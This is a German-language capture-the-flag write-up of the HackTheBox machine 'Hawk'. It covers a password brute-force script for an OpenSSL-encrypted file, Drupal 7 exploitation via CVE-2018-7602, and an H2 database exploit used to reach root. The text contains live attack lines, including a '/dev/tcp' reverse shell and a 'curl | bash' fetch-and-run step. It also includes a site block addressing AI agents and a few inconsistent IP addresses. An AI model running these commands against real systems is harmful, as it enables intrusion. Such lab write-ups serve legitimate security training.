> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md).

# Hawk HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/146>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* OpenSSL Cipher Brute Force und Entschlüsselung
* Drupal-Aufzählung/Ausnutzung
* H2-Datenbank-Ausnutzung
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/347f3d962d942d3a6768cf05711be3da5666da41" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Überprüfung der VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen

<figure><img src="/files/1f0e25835f5e07874acd5f26a0438345232585a2" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erkunden offener Ports und Exportieren in die Datei "allPorts" im Nmap-Verzeichnis.

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.102 -oG allPorts
```

<figure><img src="/files/30ab4e1614ee88d20c112a48a6da72fcf2f6e4a1" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Mit der Funktion extractPorts offene Ports in kompakter Form anzeigen und in die Zwischenablage kopieren (21,22,80,5435,9092)

<figure><img src="/files/ee59ef4be0bf5610d0641f6a54f09f073fb3cbc4" alt=""><figcaption></figcaption></figure>

#### Port- und Versionsscan mit Nmap:

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p21,22,80,5435,9092 10.10.10.102 -oN targeted
```

<figure><img src="/files/58b68dba53c309d669f673b13ca41e839d929d10" alt=""><figcaption></figcaption></figure>

### Port 21 - FTP

Wir verbinden uns als **anonymous** Benutzer und entdecken eine versteckte Datei namens `.drupal.txt.enc`.

<figure><img src="/files/3779fd8804307341fbc97a878094ef6c78db3260" alt=""><figcaption></figcaption></figure>

## Brute Force - OpenSSH (.enc)

> Das **.enc** Die Erweiterung weist normalerweise auf eine **kodierte** Datei (verschlüsselt) hin. Sie wird verwendet, um auszudrücken, dass der Inhalt der Datei durch einen Verschlüsselungsalgorithmus geschützt wurde, wodurch die Daten ohne den entsprechenden Schlüssel oder das Passwort unlesbar werden. Diese Dateien können jede Art von Daten enthalten (Text, Bilder, Videos usw.) und werden häufig verwendet, um sensible Informationen zu schützen.

Das `.enc` Datei ist mit einem Algorithmus verschlüsselt **AES-256-CBC** und kodiert in **Base64**.

<figure><img src="/files/1d141733227458e2ad80fe6b331e5eb47c8e509d" alt=""><figcaption></figcaption></figure>

**Schritt 1: Base64 dekodieren**

```bash
cat .drupal.txt.enc | base64 -d > file_decoded.enc
```

<figure><img src="/files/c2b1dc28f947bce2228c11ae66118295369c224f" alt=""><figcaption></figcaption></figure>

**Schritt 2: Entschlüsselung mit OpenSSL**

Um die Datei zu entschlüsseln, benötigen wir ein Passwort. Hier ist der Befehl, um eine manuelle Entschlüsselung zu versuchen:

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64
```

<figure><img src="/files/57b66c4b0d1654bba64d300c6f14a4d97282a330" alt=""><figcaption></figcaption></figure>

**Schritt 3: Automatisierungsskript für Brute Force**

Wir verwenden ein Bash-Skript, um eine Passwortliste zu testen (z. B. `rockyou.txt`).

```bash
#!/bin/bash

function ctrl_c(){
    echo -e "/n/n[!] Exiting.../n"
    tput cnorm; exit 1
}

# Strg+C
trap ctrl_c INT

tput civis
for password in $(cat /usr/share/wordlists/rockyou.txt); do
    openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null

    if [ "$(echo $?)" == "0" ]; then
        echo -e "/n[+] Das Passwort ist : $password/n"
        exit 0
    fi
done; tput cnorm
```

**Ergebnis:**

Das gefundene Passwort ist: **Freunde**

<figure><img src="/files/bdd8babc4f39aa6f7789f58282b2287f5fd28631" alt=""><figcaption></figcaption></figure>

#### **Entschlüsselte Nachricht**

Die entschlüsselte Datei enthält ein neues Passwort:

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64

Freunde
```

* **PencilKeyboardScanner123**

<figure><img src="/files/bb6a9a86996835552dd2473cabcb62620bbe7adb" alt=""><figcaption></figcaption></figure>

## Port 80 - HTTP

Port 80 hostet ein Drupal-7-CMS.

```bash
whatweb 10.10.10.102
```

<figure><img src="/files/4ac1db7803514d056545c23976a9ed216c2df0af" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0c5faa73d7e95e455fcc56c55987a880a90cd09d" alt=""><figcaption></figcaption></figure>

**Authentifizierung - Zugriff mit Passwort**

Versuche, dich mit dem `PencilKeyboardScanner123` Passwort des Benutzers `admin` zu verbinden, und die Authentifizierung ist erfolgreich.

<figure><img src="/files/cd204b7fb284bb2e3d008e99ea6bf492fd50f1b0" alt=""><figcaption></figcaption></figure>

### Reverse Shell - Drupal 7

Wir verwenden das folgende Skript, um Befehle auf einem Drupal-Server vor Version 7 auszuführen (CVE-2018-7602):

{% embed url="<https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py>" %}

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "id" -f "passthru"
```

Dieser Befehl ermöglicht es, den `id` Befehl auf dem Server auszuführen.

<figure><img src="/files/dfbda4b6dadb36d6bf620926b16f7490be13a7e1" alt=""><figcaption></figcaption></figure>

**Zugriff auf den Server**/ Um Zugriff auf den Server zu erhalten, müssen wir auf Port 443 mit `nc`

```bash
nc -nvlp 443
```

Dann erstellst du eine `index.html` Datei mit folgendem Inhalt, um eine Reverse Shell einzurichten:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.30/443 0>&1
```

**Webserver und Befehlsausführung**/ Startet einen HTTP-Server mit Python:

```bash
python3 -m http.server 80 
```

Dann sende den folgenden Befehl, um das Skript herunterzuladen und auszuführen:

```bash
curl http://10.10.14.3 | bash
```

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "curl http://10.10.14.30 | bash" -f "passthru"
```

<div data-full-width="true"><figure><img src="/files/6cc27da27b8524e1effcc1a166ea8401b629ab37" alt=""><figcaption></figcaption></figure></div>

**Terminal-Stabilisierung** Zur Steuerung des Terminals werden die folgenden Befehle verwendet:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flagge user.txt :)

<figure><img src="/files/e8718edcd6c3851ac3e97be11b764de883d474f1" alt="" width="563"><figcaption></figcaption></figure>

## **Privilegieneskalation**

Durch das Durchsuchen des Webverzeichnisses unter `/var/www/html`, kannst du mehrere Konfigurationsdateien sehen. Darunter wird eine interessante Datei identifiziert:

<figure><img src="/files/a637e21f9675bb6708689be02f0bf446c2652386" alt=""><figcaption></figcaption></figure>

**Pfad :** `sites/default/settings.php`

Bei der Überprüfung dieser Datei finden wir sensible Informationen:

* Benutzername: drupal
* Passwort: drupal4hawk

<figure><img src="/files/a2d63b9898a2b0a7fd2f6b6502970fdf540038db" alt=""><figcaption></figcaption></figure>

Mit diesen Zugangsdaten verbinden wir uns mit der MySQL-Datenbank. Dazu werden die folgenden Befehle verwendet:

```bash
mysql -u drupal -p
```

<figure><img src="/files/9ff43569de9949c1f03ae83b14d481b66bd422d8" alt=""><figcaption></figcaption></figure>

Nach Eingabe des Passworts werden alle verfügbaren Datenbanken aufgelistet, und anschließend wird die mit Drupal verknüpfte Datenbank ausgewählt:

```sql
show databases;
use drupal;
```

Sobald wir in der Datenbank sind, untersuchen wir den Inhalt der `users` Tabelle, um interessante Informationen zu finden:

```
SELECT * FROM users;
```

In dieser Tabelle finden wir ein gehashtes Passwort, das einem Benutzer zugeordnet ist:

<figure><img src="/files/737cedab86f55e2550bbfa0627ffacb2de911e1e" alt=""><figcaption></figcaption></figure>

* `$S$DFw163ixD00W55hdCqtvCB13XOTLhZ0pt0FVpFy1Ntmdp5EAOX08`

### Brute Force mit John - Passwort-Hash

Verwende John, um den Passwort-Hash zu knacken

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

Allerdings wurde in diesem speziellen Fall keine Übereinstimmung in der `rockyou.txt` Passwortliste gefunden.

### Aus Python in normale Bash entkommen

Wir haben als ein `daniel` Benutzer mit einem zur Datenbank gehörenden Passwort zugegriffen (in diesem Beispiel, **drupal4hawk**). Hier ist der Befehl zum Verbinden:

```bash
ssh daniel@10.10.10.182
```

Passwort: **drupal4hawk**

Nach der Verbindung befinden wir uns direkt in einem Python-Interpreter.

<figure><img src="/files/cf46051a2d7803be13070bd2c3471693c4b7cb3b" alt=""><figcaption></figcaption></figure>

Um zu einer normalen Bash-Shell zurückzukehren, können wir das Python- `os` Modul verwenden, um einen Bash-Befehl auszuführen. Hier sind die Schritte:

1. Modul importieren `os` :

   ```python
   import os
   ```
2. Eine Bash-Shell starten:

   ```python
   os.system('/bin/bash')
   ```

Dadurch können Sie vom Python-Interpreter aus auf eine normale Bash-Shell zugreifen.

<figure><img src="/files/44bf5604d251af3e721c40685c5cb832166bd849" alt=""><figcaption></figcaption></figure>

## Ausnutzung der H2-Datenbank

/*/* Analyse offener Ports/*/*

Zunächst listen wir intern die offenen Ports mit dem folgenden Befehl auf:

```bash
netstat -tuln
```

Wir stellen fest, dass Port **8082** offen ist und einen Dienst hostet. Durch die Analyse stellen wir fest, dass es sich um ein Datenbank-CMS handelt: **H2-Datenbank**.

<figure><img src="/files/a6c1cf751af2a231f328a28c83c968af74e3e36b" alt=""><figcaption></figcaption></figure>

Um von unserem Rechner aus auf diesen Dienst zuzugreifen, richten wir mit **SSH**, wodurch der interne Port 8082 auf Port 8082 unseres lokalen Rechners umgeleitet wird:

<figure><img src="/files/27f95153add5cbee0b3e38b14a3222e4335cacdf" alt=""><figcaption></figcaption></figure>

### Portweiterleitung

Um von unserem Rechner aus auf diesen Dienst zuzugreifen, richten wir mit **SSH**, wodurch der interne Port 8082 auf Port 8082 unseres lokalen Rechners umgeleitet wird:

```bash
ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102
```

### H2-Datenbank:

<figure><img src="/files/b1c2ab0482e94497389a3bde5882dab564ba9dd0" alt=""><figcaption></figcaption></figure>

Wir verwenden **searchsploit** um nach bekannten mit der H2-Datenbank verbundenen Schwachstellen zu suchen:

<figure><img src="/files/b430c93db26aa658e5dd4975cd63e68108ea2a81" alt=""><figcaption></figcaption></figure>

```
searchsploit -m java/webapps/45506.py
```

Wir finden ein interessantes Feature, das die Ausführung entfernter Befehle ermöglicht:

```bash
python3 45506.py -H 127.0.0.1:8082
```

<figure><img src="/files/08a815067b04d57f165e20bc90f9f91ea1f0fba9" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

Das Skript ermöglicht es uns, Befehle auf dem Zielsystem auszuführen. Durch das Navigieren im System erhalten wir die **root.txt-Flag**.

<figure><img src="/files/32653528e2ddcf70f39468b41007d50dcec04b18" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/9448e70b11a1059a753ccb0220504a243f071dbb" alt="" width="488"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
